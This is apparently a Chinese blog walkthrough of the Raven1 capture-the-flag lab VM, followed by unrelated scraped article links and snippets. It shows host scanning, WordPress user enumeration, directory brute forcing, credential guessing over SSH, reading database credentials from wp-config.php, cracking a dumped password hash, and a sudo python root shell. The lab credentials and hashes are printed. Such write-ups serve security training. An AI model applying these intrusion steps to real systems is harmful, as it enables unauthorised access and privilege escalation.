Raven1渗透实战

目录:

1.wordpress爆破用户

2.wp-config得到数据库账号密码

3.ssh连接
4.pythn提权(sudo python -c 'import pty;pty.spawn("/bin/bash")')

主机发现与信息收集

arp-scan –l
 
主机发现
nmap -sS -A -p- 192.168.8.127 –n

 
nmap全端口扫

Web渗透实战

可以先修改一下hosts:

192.168.8.127 raven.local

进入web端,浓浓的wordpress风格

http://192.168.8.127/wordpress/

wordpress爆用户

小tips:http://192.168.8.127/wordpress/?author=n (n=1,2,3,4……)
http://192.168.8.127/wordpress/?author=1

出现用户: MICHAEL (michael)

 
wordpress

找到后台 http://raven.local/wordpress/wp-login.php (michael登录失败)

dir爆目录

出现几个可疑的目录:

http://192.168.8.127/vendor

http://192.168.8.127/wordpress/

继续爆这几个关键目录:

 
dir

看到pop3、phpmail和smtp就能想到应该和邮件有关的,应该是入口

 
dir2

在wordpress中罕见 http://192.168.8.127/service.html 并右键查看源代码

Get到第一个flag:

flag1{b9bbcb33e11b80be759c4e844862482d}

 
flag1

继续浏览爆出来的目录

http://192.168.8.127/vendor/PATH 暴露了系统路径,也许之后会用到

/var/www/html/vendor/

 
path

http://192.168.8.127/vendor/VERSION 暴露了版本信息 5.2.16

 
version

发现http://192.168.8.127/vendor/SECURITY.md 有提示

 
提示

从爆出来的这些目录来看,无疑是在提示从phpmailer入手

这时想到了goldeneye中的pop3服务

Nmap扫出来的端口中没有pop3和smtp服务

只能从22端口ssh入手了

ssh登录

尝试登录ssh,用户名就用wordpress暴露的用户 michael,密码尝试用 michael

ssh michael@192.168.8.127

登录成功,果然提示有邮件mail,然而并没有邮件提示

 
ssh

直接全局搜flag

find / -name "*flag*" 2>/dev/null
 
find flag
cat /var/www/flag2.txt
 
flag2

get第二个flag:

flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

常规提权

netstat –a

发现主机开启的端口和服务

 
netstat -a

在靶机的3306端口开启了mysql服务

进入wordpress目录,查看conf配置文件,查看数据库密码

vi wp-config.php
 
wp-config
root / R@v3nSecurity

直接登录靶机的数据库

mysql -u root –p
 
mysql

进入wordpress数据中,发现wp_posts表,应该是post数据

select * from wp_posts;

发现了flag3和flag4:

 
flag3-4

flag3{afc01ab56b50591e7dccf93122770cd2}

flag4{715dea6c055b9fe3337544932f2941ce}

查看wordpress数据库中的users表

 
users
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

md5解看看

 
somd5

steven 的密码为 pink84

michael的解不出来

拿去登录一下ssh试试

ssh steven@192.168.8.127
 
ssh
sudo –l 

显示出当前用户的权限,发现可以运行python,直接python提权

sudo python -c 'import pty;pty.spawn("/bin/bash")'
 
python root

得到第四个flag:

 

Raven1渗透实战的更多相关文章

  1. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  2. 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!

    /文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...

  3. PowerUp攻击渗透实战

    记录下PowerUp在实战渗透中的利用 准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 1)Invoke-Al ...

  4. PowerSploit-CodeExecution(代码执行)脚本渗透实战

    首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察.权限提升.权限维持. 项目地址:https://g ...

  5. Burp Suite渗透实战操作指南-上篇

    Burp必备知识 在介绍功能之前有必要让大家了解一些burp的常用功能,以便在使用中更好的发挥麒麟臂的优势. 1.1  快捷键 很多人可能都没用过burp的快捷键吧,位置如下,不说话,如果不顺手可以自 ...

  6. 【渗透实战】web渗透实战,手动拿学校站点 得到上万人的信息(漏洞已提交)

    ------------恢复内容开始------------ ’‘’版权tanee转发交流学校请备注漏洞已经提交学校管理员关键过程的截图和脚本代码已经略去.希望大家学习技术和思路就好,切勿进行违法犯罪 ...

  7. DC-8靶机渗透实战

    前言: 本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag. 0x00 环 ...

  8. 【渗透实战】那些年我们遇到的奇葩WAF_第一期_请求方式绕过

    /文章作者:Kali_MG1937 CSDN博客:ALDYS4 QQ:3496925334/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何被顶上博客首页 为了避 ...

  9. 【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第三期

    /文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334/ 今天google找注入点的时候发现某企业一个挺有意思的waf 常规操作绕过去后决定写一篇博客 信息收集 ...

随机推荐

  1. 苹果 M1 芯片 OpenSSL 性能测试

    Apple M1(MacBook Air 2020) type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes md2 0.00 0.00 0.00 ...

  2. Python学习【第8篇】:python中的函数

    1.python中函数定义方法 def test(x): "This istest" y = x*2+1 return y vaule = test(2)print(vaule)运 ...

  3. 一本通提高篇——斜率优化DP

    斜率优化DP:DP的一种优化形式,主要用于优化如下形式的DP f[i]=f[j]+x[i]*x[j]+... 学习可以参考下面的博客: https://www.cnblogs.com/Xing-Lin ...

  4. Fiddler扩展——自定义列数据&Tunnel to 443解决办法

    在平时日常工作中,使用Fiddler的占比还是蛮大的.使用过程,也会遇到一些小问题,问题虽小,但抓不到包,分析不了问题与数据,那也是件麻烦的事情. 以前也分享过一些小技巧,可以找以前的博文查看,具体地 ...

  5. SpringCloud及其组件详解

    SpringCloud及其组件详解 1.Spring Cloud 1.1 Spring Cloud和Dubbo的区别图解 1.2 微服务的技术栈 2.Spring Cloud 概述 2.1 Sprin ...

  6. Navicat,Dbeaver,heidiSql,DataGrip数据库连接工具比较

    Navicat,Dbeaver,heidiSql,DataGrip数据库连接工具比较 1.Navicat 2.DBeaver 3.heidiSql 4.DataGrip 1.Navicat Navic ...

  7. 使用Docker Compose编排Spring Cloud微服务

    文章目录 微服务构建实例 简化Compose的编写 编排高可用的Eureka Server 编排高可用Spring Cloud微服务集群及动态伸缩 微服务项目名称 项目微服务中的角色 microser ...

  8. js创建map

    function Map() { var struct = function(key, value) { this.key = key; this.value = value; } var put = ...

  9. 3.DHCP原理

    1.DHCP服务器给首次接入网络的客户端分配网络参数的工作原理 只有跟DHCP客户端在同一个网段的DHCP服务器才能收到DHCP客户端广播的DHCP DISCOVER报文.当DHCP客户端与DHCP服 ...

  10. 19.损坏磁盘阵列及修复&磁盘阵列+备份盘

    1.在确认有一块物理硬盘设备出现损坏而不能继续正常使用后,应该使用mdadm 命令将其移除,然后查看RAID 磁盘阵列的状态,可以发现状态已经改变. [root@Centos ~]# mdadm /d ...